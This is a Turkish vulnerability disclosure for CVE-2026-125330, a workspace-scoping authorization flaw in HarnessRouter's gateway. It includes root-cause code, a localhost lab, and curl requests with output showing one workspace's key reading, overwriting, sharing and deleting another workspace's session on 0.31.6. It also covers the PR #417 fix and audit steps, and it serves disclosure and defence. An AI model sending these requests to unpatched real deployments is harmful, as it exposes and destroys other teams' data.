İfşa: CVE-2026-125330 (CWE-639), HarnessRouter Community Edition’ın 0.4.2 ile 0.31.6 arasındaki sürümlerini etkiliyor. Zafiyeti 2026-09-08’de, yeniden üreten bir testle birlikte GitHub private vulnerability reporting üzerinden
jankesecolarak bakımcılara bildirdim. 0.31.7’de PR #417 ile düzeltildi ve GHSA-9pjr-97x3-c4wv olarak yayımlandı. CNA olarak GitHub, CVE kaydını 2026-11-10’da CVSS 3.1 7.5 (Yüksek) puanıyla yayımladı:CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.
Saldırganın iki şeye ihtiyacı var: Default Workspace dışındaki bir workspace’te oluşturulmuş bir API anahtarı ve aynı organizasyonun başka bir workspace’ine ait bir oturumun (ya da yanıtın) kimliği. Oturum kimlikleri hsess ile başlayıp rastgele bir UUID ile devam ettiği için tahmin edilemez; kimliğin kopyalanmış bir bağlantı, bir log satırı ya da bir destek kaydı gibi başka bir kaynaktan gelmesi gerekir. Bu ikisi elindeyse HarnessRouter 0.4.2 ile 0.31.6 arası, anahtarın o oturumun metaverisini, turn’lerini, trace’ini ve dosyalarını okumasına, bir dosyanın üzerine yazmasına, oturumu iptal etmesine ya da silmesine ve oturum için paylaşım bağlantısı yayımlamasına izin veriyordu. Başka bir organizasyon erişim dışında kalıyor; console kullanıcıları, organizasyon anahtarları ve Default Workspace anahtarları ise zaten tüm organizasyonu görecek şekilde tasarlanmış.
HarnessRouter, Codex ve Claude Code gibi ajan CLI’larını oturumlar, akış, workspace dosyaları ve iptal desteğiyle tek bir HTTP API arkasında çalıştırır. Bir organizasyon workspace’lere bölünebilir ve 0.31.6’daki self-hosting kılavuzu, API Keys sayfasında oluşturulan anahtar için şunu söyler: “The key is scoped to the selected workspace”. Gateway bu sözü listelerde tuttu, kimlik alan her route’ta ise bozdu.
Workspace’ler, anahtarlar ve liste filtresi
Bir istek Authorization: Bearer sk-hr-… taşıdığında _principal() token’ı _apikey_resolve() fonksiyonuna verir. Bu fonksiyon anahtarı SHA-256 özetiyle bulur ve organizasyonu, üyeyi ve anahtarın oluşturulduğu workspace’i döndürür. Liste route’u bu workspace’i kullanır:
# gateway/app.py, v0.31.6
@app.get("/v1/sessions")
async def list_sessions(request: Request, limit: int = 20, cursor: str = "",
harness: str = "", member: str = "") -> dict:
p = await _principal(request)
... # organization check and calibration override omitted
# A workspace-scoped principal (workspace-stamped API key, or the console's workspace header)
# sees only its workspace's sessions; unscoped principals keep the whole-org view.
return await _session_cards(org, limit, cursor, member, harness,
workspace=str(p.get("workspace") or ""),
ws_default=bool(p.get("workspace_default")))
Filtrenin arkasındaki kural _workspace_keep(). Workspace’i eşleşen kayıt çağırana aittir; workspace’ler var olmadan önce oluşturulmuş kayıtlar ise Default Workspace’e aittir:
# gateway/app.py, v0.31.6 (docstring omitted)
def _workspace_keep(item_ws: str, workspace: str, ws_default: bool) -> bool:
if not workspace:
return True
return item_ws == workspace or (ws_default and not item_ws)
Bu yüzden research workspace’inin anahtarı bir listede clients workspace’inin oturumunu hiçbir zaman görmez. Aynı anahtar yine de o oturumu kimliğiyle çağırabiliyordu.
Kök neden: kimlik alan route’lar organizasyonda durdu
Tek bir oturumu hedefleyen her route, çağıranın o oturuma dokunup dokunamayacağını ortak bir yardımcıya soruyordu:
# gateway/app.py, v0.31.6
async def _owned_session(request: Request, sid: str) -> tuple[str, dict]:
p = await _principal(request)
org = p.get("org", "")
v = await _vertex_get(sid)
if not v or str(v.get("tenant") or "") != org or str(v.get("status")) == "deleted":
raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")
c = p.get("calibration")
if c and str(v.get("harness_id") or "") != str(c.get("inner") or ""):
raise uhp_error(404, "session_not_found", "No session with that id.", "session_id") # not its harness's
return org, v
Oturum kaydı hem tenant hem workspace alanını taşır; principal da hem org hem workspace alanını taşır. Yardımcı ilk çifti karşılaştırır, ikincisine hiç bakmaz. 0.31.6’da on altı route bu yardımcıyı çağırıyordu; aralarında oturum detayı, yeniden adlandırma, iptal, turn’ler, üç trace route’u, dosya listesi, arşiv indirme ve tek dosyalık GET ile PUT vardı. Beş handler daha aynı tenant karşılaştırmasını kendi içinde tekrarlıyordu: oturum silme, üç paylaşım bağlantısı route’u ve /a/{sid}/{path} artifact route’u. Yanıt route’ları ise yanıt kaydının _org alanını ve calibration credential’ları için harness’ı karşılaştırıyordu. Hiçbiri workspace’i karşılaştırmıyordu.
Yardımcı daha dar bir kapsamı zaten uyguluyordu. Calibration credential tek bir harness’a bağlıdır ve iki calibration satırı başka harness’ların oturumlarını geri çevirir. Workspace için de aynı iki satır gerekiyordu ve yoktu. Liste filtresi de yalnızca organizasyona bakan yardımcı da deponun ilk commit’i olan fc68631’de (2026-08-09) zaten vardı; bunları içeren ilk etiketli sürüm 0.4.2.
Kanıt matrisi
| Soru | Neyi denetledim | Güven | Notlar ve negatif kontroller |
|---|---|---|---|
| Bildirdiğim anda zafiyet var mıydı? | Route düzeyindeki testim, main üzerinde ve 2026-09-08’deki son sürüm olan v0.15.5 üzerinde. | Yüksek | Workspace’ler arası detay, dosya okuma ve dosya yazma 200 döndü. Anahtarsız istek 401, başka organizasyon 404, aynı workspace 200 aldı. |
| Son etkilenen sürüm uçtan uca istismar edilebiliyor mu? | v0.31.6 (5f1e8a8): gerçek gateway ve runner, API üzerinden üretilen anahtarlar, her istek HTTP üzerinden. | Yüksek | Başka bir workspace’in anahtarı için detay, dosya okuma, dosya yazma, paylaşım bağlantısı ve silme 200 döndü. Diskteki dosya değişti. |
| 0.31.7 açığı kapatıyor mu? | Aynı laboratuvar, v0.31.7 (249c6cc) üzerinde. | Yüksek | Beş isteğin tamamı 404 session_not_found döndü. Dosya içeriğini korudu ve sahibi olan anahtar oturumuna ulaşmaya devam etti. |
| Organizasyon sınırını aşıyor mu? | other organizasyonunda üretilmiş bir anahtar, aynı oturuma karşı. | Yüksek | İki sürümde de 404. Hata tek bir organizasyonun içinde kalıyor. |
| Saldırgan oturum kimliğini bulabilir mi? | _resp_resolve_session() kimliği "hsess" + uuid.uuid4().hex olarak üretiyor. | Yüksek | 122 rastgele bit. Saldırganın kimliği başka bir kaynaktan alması gerekir; vektördeki AC:H bunu yansıtıyor. |
| Yanıt kimlikleri etkileniyor mu? | 0.31.6’daki get_response, delete_response, list_input_items ve cancel_response kaynak kodu ile düzeltme. | Orta | Bu route’lar yalnızca _org karşılaştırıyordu. Düzeltme onları _response_in_reach() üzerinden geçiriyor. Laboratuvarda turn çalıştırmadığım için yanıtları denemedim. |
| Eylülde gönderdiğim test düzeltme için geçerli bir regresyon testi mi? | Aynı test dosyası, 0.31.6 ve 0.31.7 üzerinde. | Yüksek | Hayır. İki sürümde de geçiyor, çünkü düzeltmenin API anahtarı çağıranlarını işaretlediği _apikey_resolve() fonksiyonunun yerine geçiyor. Aşağıdaki bölüme bakın. |
| Bakımcıların regresyon testi geçiyor mu? | v0.31.7 üzerinde gateway/tests/test_workspace_scope.py. | Yüksek | 32 test geçti; kimlik parametresi alan her route’u tarayan test de bunlara dahil (0.31.7’de 72 route). |
Yeniden üretim
Laboratuvar her seferinde tek bir etiketi checkout’tan, Python 3.13 ve gateway ile runner’ın sabitlenmiş bağımlılıklarıyla çalıştırır. Ayarlar, docker/entrypoint.sh dosyasının self-hosted container’a verdiği ayarlarla aynı: local backing, HR_IDENTITY_MODE=off ve gateway’in dosya arka ucu olarak loopback üzerindeki runner. Tek fark HR_SESSION_UIDS; bu ayar runner’ın root olarak çalışmasını gerektirir. Her oturumun ajan süreçlerini, oturumun dosyalarının sahibi olan ayrı bir Unix kullanıcısıyla çalıştırır ve test edilen gateway kararında hiçbir rol oynamaz.
export HR_BACKING=local HR_DATA_DIR="$DATA" HARNESS_WORKSPACE="$DATA/workspaces" \
HR_SECRET_KEY="$SECRET" HARNESS_INTERNAL_KEY="$INTERNAL" \
HR_IDENTITY_MODE=off HR_CREDIT_GATE=off HR_POOL_AUTH=none \
POOL_MGMT_ENDPOINT="http://127.0.0.1:18081" HARNESS_SPOOL_DIR="$DATA/spool"
( cd runner && python -m uvicorn server:app --host 127.0.0.1 --port 18081 ) &
( cd gateway && python -m uvicorn app:app --host 127.0.0.1 --port 18080 ) &
GW=http://127.0.0.1:18080
Workspace’ler ve anahtarlar console’un oluşturduğu şekilde oluşturulur. Console’un sunucu tarafı gateway’i internal key ve oturum açmış kişinin organizasyonu, üyesi ve workspace’iyle çağırır (ui/src/app/api/harness/[...path]/route.ts). Bir API istemcisinin isteği farklıdır: console Authorization başlığını değiştirmeden iletir ve kararı _apikey_resolve() verir. Laboratuvar anahtar isteklerini doğrudan gateway’e gönderir; bu aynı yoldur.
console() { # method path org workspace json
curl -s -X "$1" "$GW$2" -H "x-harness-internal: $INTERNAL" \
-H "x-harness-org: $3" -H "x-harness-member: local@localhost" -H "x-harness-workspace: $4" \
-H 'content-type: application/json' --data "$5"
}
console POST /v1/hr/workspaces local default '{"name":"Research"}'
console POST /v1/hr/workspaces local default '{"name":"Clients"}'
KEY_A=$(console POST /v1/orgs/local/keys local research '{"name":"research-bot","workspace":"research","member_id":"local@localhost"}' | jq -r .key)
KEY_B=$(console POST /v1/orgs/local/keys local clients '{"name":"clients-bot","workspace":"clients","member_id":"local@localhost"}' | jq -r .key)
KEY_X=$(console POST /v1/orgs/other/keys other research '{"name":"other-org","workspace":"research","member_id":"x@other"}' | jq -r .key)
Bir oturum kaydı normalde bir ajan turn’ü başladığında yazılır ve bir turn için ajan CLI’ı ile bir model sağlayıcı anahtarı gerekir. Laboratuvar aynı alanları başlamadan önce gateway’in kendi deposu üzerinden yazar: her workspace için bir oturum ve diğer organizasyonda bir oturum:
graph = SqliteGraphStore(os.path.join(data_dir, "graph.db")) # gateway/backing.py
await graph.upsert("HarnessSession", sid_b, {"tenant": "local", "workspace": "clients",
"title": "Client engagement notes", "member_id": "local@localhost",
"backend": "claude", "status": "done", "turn_status": "done"})
Ardından clients oturumunun sahibi API üzerinden oturuma bir dosya yazar ve research anahtarı bu oturumun peşine düşer. Aşağıdakiler script’in gönderdiği isteklerdir; script her isteğin durum kodunu ve gövdenin tek satırlık özetini kaydeder:
curl -s -X PUT "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_B" \
-H 'content-type: application/json' --data '{"content":"client: ACME Corp\nscope: internal network, 2 sites\n"}'
curl -s "$GW/v1/sessions/$SID_B" -H "Authorization: Bearer $KEY_A"
curl -s "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_A"
curl -s -X PUT "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_A" \
-H 'content-type: application/json' --data '{"content":"replaced by the research workspace key\n"}'
curl -s -X POST "$GW/v1/sessions/$SID_B/share" -H "Authorization: Bearer $KEY_A"
curl -s -X DELETE "$GW/v1/sessions/$SID_B" -H "Authorization: Bearer $KEY_A"
0.31.6 üzerinde gözlemlenen çıktı
2026-11-10’da çalıştırıldı. <A> ve <B> iki oturum kimliğinin yerini tutar; her anahtar yalnızca son dört karakteriyle gösterilir.
# HarnessRouter v0.31.6 (5f1e8a8), 2026-11-10T20:37:06Z
key A (workspace research): sk-hr-…5f8c key B (workspace clients): sk-hr-…266e key X (org other): sk-hr-…7eaa
## setup: workspace clients writes a file into its own session <B>
B key, own session, write PUT /v1/sessions/<B>/files/notes/engagement.md -> 200 {"session_id": "<B>", "path": "notes/engagement.md", "bytes": 51, "written": true}
## controls
no key GET /v1/sessions/<B> -> 401 error=invalid_credential
A key, own session GET /v1/sessions/<A> -> 200 {"session_id": "<A>", "tenant": "local", "workspace": "research", "title": "Literature review"}
B key, own session GET /v1/sessions/<B> -> 200 {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
X key (other org), session B GET /v1/sessions/<B> -> 404 error=session_not_found
## workspace research key against workspace clients' session <B>
A key, B detail GET /v1/sessions/<B> -> 200 {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
A key, B file read GET /v1/sessions/<B>/files/notes/engagement.md -> 200 client: ACME Corp | scope: internal network, 2 sites
A key, B file write PUT /v1/sessions/<B>/files/notes/engagement.md -> 200 {"session_id": "<B>", "path": "notes/engagement.md", "bytes": 39, "written": true}
A key, B share link POST /v1/sessions/<B>/share -> 200 {"enabled": true, "url": "/share/shr55b41102d64343bb886a989274c69e88"}
## file on disk: $HARNESS_WORKSPACE/<B>/notes/engagement.md
replaced by the research workspace key
A key, B delete DELETE /v1/sessions/<B> -> 200 {"id": "<B>", "object": "session", "deleted": true}
B key, own session after GET /v1/sessions/<B> -> 404 error=session_not_found
Kontroller beklendiği gibi: anahtarsız istek reddediliyor, başka organizasyon bilinmeyen bir kimlikle aynı 404’ü alıyor ve her anahtar kendi oturumuna ulaşıyor. Ardından research anahtarı clients oturumunu ve dosyasını okudu, diskteki dosyayı değiştirdi, oturum için paylaşım bağlantısı yayımladı ve oturumu sildi. Son satırda oturumun sahibi kendi oturumu için 404 alıyor.
0.31.7 üzerinde gözlemlenen çıktı
Aynı script, aynı istekler, temiz bir veri dizini:
# HarnessRouter v0.31.7 (249c6cc), 2026-11-10T20:37:07Z
## controls
no key GET /v1/sessions/<B> -> 401 error=invalid_credential
A key, own session GET /v1/sessions/<A> -> 200 {"session_id": "<A>", "tenant": "local", "workspace": "research", "title": "Literature review"}
B key, own session GET /v1/sessions/<B> -> 200 {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
X key (other org), session B GET /v1/sessions/<B> -> 404 error=session_not_found
## workspace research key against workspace clients' session <B>
A key, B detail GET /v1/sessions/<B> -> 404 error=session_not_found
A key, B file read GET /v1/sessions/<B>/files/notes/engagement.md -> 404 error=session_not_found
A key, B file write PUT /v1/sessions/<B>/files/notes/engagement.md -> 404 error=session_not_found
A key, B share link POST /v1/sessions/<B>/share -> 404 error=session_not_found
## file on disk: $HARNESS_WORKSPACE/<B>/notes/engagement.md
client: ACME Corp
scope: internal network, 2 sites
A key, B delete DELETE /v1/sessions/<B> -> 404 error=session_not_found
B key, own session after GET /v1/sessions/<B> -> 200 {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
Diğer workspace’ten gelen her istek artık bilinmeyen bir kimliğin aldığı cevabı alıyor ve diskte hiçbir şey değişmedi. Bu, zincirin tamamı için negatif kontrol: kurulum aynı, istekler aynı, değişen tek şey gateway sürümü.
Eylülde gönderdiğim test ve düzeltmeyi neden denetleyemediği
2026-09-08’de gönderdiğim rapor, gateway için bir pytest testi içeriyordu. Test gerçek FastAPI uygulamasını, _principal(), _owned_session() ve dosya route’larını çalıştırıyor, çevrelerindeki üç parçayı değiştiriyordu: _apikey_resolve() sabit bir token gördüğünde workspace A için bir principal döndürüyordu, _vertex_get() workspace B’ye ait bir oturum döndürüyordu ve BACKING.workspace bellek içi bir dosya deposuna dönüşüyordu. main ve v0.15.5 üzerinde şu çıktıyı verdi:
workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed
Test metaveriyi, dosya okumayı ve dosya yazmayı kanıtladı. Rapor turn’leri, trace’leri, yeniden adlandırmayı, iptali, arşiv indirmeyi ve silmeyi kod üzerinden izledi; düzeltme önerisi bölümünde de yanıt route’larını adıyla andı. GitHub, raporun önerdiği CVSS vektörünü yayımladı.
Bu yazı için aynı dosyayı iki sürüme karşı çalıştırdım ve 0.31.7’de başarısız olmasını bekliyordum. İki sürümde de geçti:
=================== original 2026-09-08 reproducer on v0.31.6 (5f1e8a8)
workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed in 0.31s
=================== original 2026-09-08 reproducer on v0.31.7 (249c6cc)
workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed in 0.31s
Düzeltme, kimin bir workspace’e bağlı tutulacağına yalnızca _apikey_resolve() fonksiyonunun koyduğu bir işarete bakarak karar veriyor: "via": "api_key". Benim stub’ım bu fonksiyonun yerine geçiyor ve işaretsiz bir principal döndürüyordu; 0.31.7 işaretsiz bir principal’ı console’daki bir kişi olarak okur ve bu kişi organizasyon erişimini korur. Stub’a tek alanı eklemek beklenen sonucu veriyor:
=================== stub + via=api_key on v0.31.6
1 passed in 0.31s
=================== stub + via=api_key on v0.31.7
> assert detail.status_code == 200
E assert 404 == 200
E + where 404 = <Response [404 Not Found]>.status_code
1 failed in 0.32s
Eylül testi hata için adil bir yeniden üretimdi: stub’lanmış çözücü, o sürümdeki gerçek çözücünün döndürdüğü alanların aynısını döndürüyordu. Regresyon testi olarak ise işe yaramıyor, çünkü düzeltmenin değiştirdiği katmanın yerine geçiyor. Yukarıdaki laboratuvar bunu gerçek anahtarlar üretip gerçek çözücüyü çalıştırarak önlüyor.
Düzeltme (PR #417)
PR #417, 249c6cc commit’i olarak birleştirildi ve 2026-10-06’da, rapordan 28 gün sonra 0.31.7 olarak yayımlandı. Workspace kuralını tek bir fonksiyona taşıyor ve kimlik alan her route’un ona sormasını sağlıyor. Docstring’leri çıkarılmış iki yeni yardımcı:
# gateway/app.py, v0.31.7
def _key_scope(p: dict) -> str:
if p.get("via") != "api_key":
return ""
ws = str(p.get("workspace") or "")
if not ws or p.get("workspace_default") or ws == f"{p.get('org') or ''}__hr_default":
return ""
return ws
def _scope_keeps(p: dict, item_ws) -> bool:
held = _key_scope(p)
return not held or str(item_ws or "") == held
_owned_session() bir koşul daha kazanıyor ve çözücü API anahtarı çağıranlarını işaretlemeye başlıyor:
async def _owned_session(request: Request, sid: str) -> tuple[str, dict]:
p = await _principal(request)
org = p.get("org", "")
v = await _vertex_get(sid)
if not v or str(v.get("tenant") or "") != org or str(v.get("status")) == "deleted":
raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")
+ if not _scope_keeps(p, v.get("workspace")):
+ raise uhp_error(404, "session_not_found", "No session with that id.", "session_id") # another workspace's
@@ async def _apikey_resolve(tok: str) -> dict | None:
return {"org": doc.get("org", ""), "member": doc.get("member", ""),
"workspace": doc.get("workspace", "") or "",
- "workspace_default": bool(doc.get("workspace_default"))}
+ "workspace_default": bool(doc.get("workspace_default")), "via": "api_key"}
Kendi içinde tenant karşılaştıran beş handler aynı _scope_keeps() koşulunu alıyor; yanıt route’ları da artık yanıtın arkasındaki oturumu _response_in_reach() üzerinden çözüyor. Değişiklikteki dört karar başka projelere de örnek olabilir:
- Kapsam dışı ile bilinmeyen için tek cevap. Başka bir workspace’in kimliği, var olmayan bir kimlikle aynı gövdeyi taşıyan
404 session_not_foundalıyor; böylece bir anahtar bir oturumun var olduğunu doğrulayamıyor. - Workspace’siz kayıtlar erişim dışında kalıyor. Workspace’ler var olmadan önce oluşturulmuş kayıtlar Default Workspace’e aittir; başka bir workspace’e bağlı bir anahtar artık onlara da ulaşamıyor.
- Organizasyon erişimi açık bir tercih. Console’a giriş yapmış bir kişi, bir organizasyon anahtarı ve bir Default Workspace anahtarı organizasyon erişimini koruyor. Console’un API Keys penceresi artık anahtarın erişim kapsamını soruyor; sürüm notları da entegrasyon geliştiricilerine, workspace’ler arasında kullanılan bir workspace anahtarının 404 veya 403 almaya başlayacağını bildiriyor.
- Route’ları okuyan bir test.
test_every_route_that_takes_an_id_asks_whether_it_is_in_the_callers_workspace,gateway/app.pydosyasını ayrıştırıyor, yolunda kimlik bulunan her route’u buluyor (0.31.7’de 72 route) ve bunlardan biri kapsam yardımcılarının hiçbirini çağırmıyorsa başarısız oluyor. Biri route’u gerekçesiyle birlikte istisna listesine eklemedikçe yeni bir route denetimsiz yayımlanamıyor.
Commit mesajına göre açık özel olarak üç kez bildirilmiş. Aynı gün yayımlanan iki advisory örtüşen alanları kapsıyor: Omer Bar-Ness’e atfedilen ve 2026-10-05’te bildirilen, anahtar üretimini, harness route’larını ve organizasyonun harness listesini ekleyen GHSA-cgf4-38c9-39vr ile Tike00’a atfedilen ve 0.31.8’de düzeltilen GHSA-4386-3vpq-3xhx. CVE-2026-125330, 2026-09-08 tarihli raporumdan gelen oturum, dosya ve yanıt kısmını kapsıyor.
Bir kurulumu denetlemek
Düzeltilmiş sürüm 0.31.7; güncel sürüm 0.41.8. Gateway, derlendiği sürümü console’un girişsiz ilettiği discovery route’unda bildirir (varsayılan kurulumda $HARNESSROUTER_BASE_URL değeri http://localhost:3000/api/harness):
curl -s "$HARNESSROUTER_BASE_URL/v1/uhp" | jq -r .implementation.version
Kendi derlediğiniz bir imaj dev bildirir. Davranışın kendisini sınamak için Default Workspace dışındaki bir workspace’te oluşturulmuş bir anahtar ve aynı organizasyonun farklı bir workspace’ine ait bir oturum kimliği alın. Yalnızca GET yeterli:
curl -s -o /dev/null -w '%{http_code}\n' "$HARNESSROUTER_BASE_URL/v1/sessions/$SESSION_OF_WORKSPACE_B" \
-H "Authorization: Bearer $KEY_OF_WORKSPACE_A"
Düzeltilmiş bir gateway 404 döner. 200, anahtarın kendi workspace’ine bağlı tutulmadığı anlamına gelir.
Güncellemeden sonra, oturumun ait olduğu workspace’in yayımlamadığı paylaşım bağlantılarını arayın: GET /v1/sessions/{sid}/share bir oturumun paylaşımda olup olmadığını gösterir, DELETE /v1/sessions/{sid}/share paylaşımı geri alır. Geçmişteki kullanımı yeniden kurmak zor. Container gateway’i --log-level warning ile başlatır; bu seviye uvicorn’un erişim logunu dışarıda bırakır, dolayısıyla console’un önündeki bir reverse proxy istekleri loglamıyorsa gateway istek başına kayıt tutmaz. API Keys sayfası her anahtarın en son ne zaman kullanıldığını gösterir; bu, hangi anahtarların etkin olduğunu söyler, neye dokunduklarını söylemez.
Güncelleyemiyorsanız advisory’deki geçici çözüm geçerli: her API anahtarını bir organizasyon anahtarı gibi değerlendirin ve anahtarları yalnızca her workspace’e güvenebileceğiniz taraflara verin.
Çıkarımlar
- Bir liste bir kapsama göre süzülüyorsa, kimlik alan her route aynı denetime ihtiyaç duyar ve bu denetim tek bir yerde yazılmalıdır. Burada liste workspace sorusunu
_session_cards()içinde soruyordu, kimlik alan route’lar ise_owned_session()içinde farklı bir soru soruyordu. - Çağıranın kapsamı dışındaki bir kimliğe, var olmayan bir kimliğe verilen cevabın aynısını verin. Başka organizasyon için dönen 404 zaten doğruydu; düzeltme onu diğer workspace’lere genişletti.
- Yetkilendirme hatalarını gerçek kimlik bilgisi yolundan geçerek yeniden üretin. Stub’lanmış bir çözücü hatayı ancak gerçeğiyle eşleştiği sürece yeniden üretir ve düzeltme tam da o katmanı değiştirebilir.
İfşa zaman çizelgesi
| Tarih | Olay |
|---|---|
| 2026-08-09 | Deponun ilk commit’i (fc68631), workspace’e göre süzülen listeyi ve yalnızca organizasyona bakan _owned_session() yardımcısını içeriyor. İlk kez 2026-08-15’te 0.4.2 olarak etiketlendi. |
| 2026-09-08 | Yeniden üreten bir testle GitHub private vulnerability reporting üzerinden bildirildi, main ve v0.15.5 üzerinde doğrulandı (GHSA-9pjr-97x3-c4wv). |
| 2026-10-06 | PR #417 birleştirildi ve 0.31.7 yayımlandı. GHSA-9pjr-97x3-c4wv yayımlandı. |
| 2026-11-09 | CVE-2026-125330 rezerve edildi. |
| 2026-11-10 | CNA olarak GitHub CVE kaydını yayımladı. Bu yazı için laboratuvar 0.31.6 ve 0.31.7 üzerinde yeniden çalıştırıldı. |
Zafiyet Puanlaması & CVSS Vektör Analizi
GitHub CNA tarafından hesaplanan taban puan ve vektör bileşenlerinin teknik dökümü.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HKoordineli İfşa ve Düzeltme Zaman Çizelgesi
CVE-2026-125330 için zafiyet tespiti, bakımcı bildirimi, upstream yama ve resmi danışma belgesi yayınının doğrulanmış kronolojisi.
Reported privately through GitHub private vulnerability reporting, with a reproducing test, as GHSA-9pjr-97x3-c4wv.
PR #417 merged and HarnessRouter 0.31.7 released; GHSA-9pjr-97x3-c4wv published the same day.
Kaynak / Taahhüt ↗GitHub, as CNA, published the CVE record.
Kaynak / Taahhüt ↗jankesec re-ran the reproduction against 0.31.6 and 0.31.7 and checked the CVE record, score, affected versions and references.
Bu analiz için kullanılan kanıtlar
Sürüm ve sömürü durumu değişebilir; üretici kayıtlarını takip edin.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.
